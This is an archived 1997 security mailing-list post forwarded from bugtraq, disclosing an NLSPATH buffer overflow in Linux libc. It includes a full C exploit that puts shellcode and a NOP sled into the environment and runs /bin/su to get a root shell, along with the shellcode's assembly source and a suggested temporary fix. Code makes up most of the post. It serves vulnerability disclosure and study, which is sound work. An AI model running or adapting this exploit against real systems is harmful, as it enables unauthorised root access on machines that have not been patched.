[linux-alert] Linux NLSPATH buffer overflow (fwd)
>From alex@netaxs.com Tue Feb 18 20:01:38 1997
Date: Fri, 14 Feb 1997 13:21:44 -0500 (EST)
From: "Alexander O. Yuriev" <alex@netaxs.com>
Reply-To: linux-alert@redhat.com
To: linux-security@redhat.com
Cc: linux-alert@redhat.com
Subject: [linux-alert] Linux NLSPATH buffer overflow (fwd)
Resent-Date: 19 Feb 1997 03:47:23 -0000
Resent-From: linux-alert@redhat.com
Resent-cc: recipient list not shown: ;
[Mod: Forwarded from bugtraq -- alex]
Hi!
I'm sorry if the information I'm going to tell about was already known, but
I hope it wasn't...
I just occasionally found a vulnerability in Linux libc (actually, some of
the versions seem not to be vulnerable; my Slackware 3.1 box was though).
Unfortunately, I have no time for a real investigation right now, but here's
the exploit anyway. Note that the shellcode is a bit different from the
usual one:
-- it does setuid(geteuid()) by itself;
-- easier to modify (no more fixed offsets in shellcode, and the shell name
can be changed, too -- the length is not fixed);
-- the NULL pointer itself is passed in %edx to the execve syscall, not the
pointer to NULL (it seems like a mistake in the Aleph One's article); this
doesn't seem to affect anything though.
It might be possible to exploit this hole remotely, if using a patched telnet
client which would allow exporting large environment variable values. The
overflow would happen at /bin/login startup then (somewhat like the famous
LD_PRELOAD exploit, but an overflow). I'm not sure of that though, there might
be some restrictions on environment variables in telnetd.
As for the fix, well, this is a hard one -- would require re-compiling libc,
and statically linked binaries. To protect yourself against remote attacks,
you could for example change the variable name to something different, with
a hex editor (like /usr/bin/bpe), in /lib/libc.so.5, and ensure the exploit
stopped working. Of course, this is only a temporary fix.
--- nlspath.c ---
/*
* NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 2048
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize - 4; i += 4)
*(char **)&buffer[i] = get_sp() - 3072;
memset(buffer, 0x90, 512);
memcpy(&buffer[512], shellcode, strlen(shellcode));
buffer[bufsize - 1] = 0;
setenv("NLSPATH", buffer, 1);
execl("/bin/su", "/bin/su", NULL);
}
--- nlspath.c ---
And the shellcode separately:
--- shellcode.s ---
.text
.globl shellcode
shellcode:
xorl %eax,%eax
movb $0x31,%al
int $0x80
xchgl %eax,%ebx
xorl %eax,%eax
movb $0x17,%al
int $0x80
.byte 0x68
popl %ecx
popl %eax
jmp *%ecx
call *%esp
xorl %eax,%eax
cltd
movl %ecx,%edi
movb $'/'-1,%al
incl %eax
scasb %es:(%edi),%al
jne -3
movl %edi,(%ecx)
movl %edx,4(%ecx)
movl %edi,%ebx
incl %eax
scasb %es:(%edi),%al
jne -3
movb %dl,-1(%edi)
movb $0x0B,%al
int $0x80
xorl %eax,%eax
incl %eax
xorl %ebx,%ebx
int $0x80
.byte '/'
.string "/bin/sh0"
--- shellcode.s ---
Signed,
Solar Designer
--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
debian-devel-REQUEST@lists.debian.org . Trouble? e-mail to Bruce@Pixar.com
Reply to: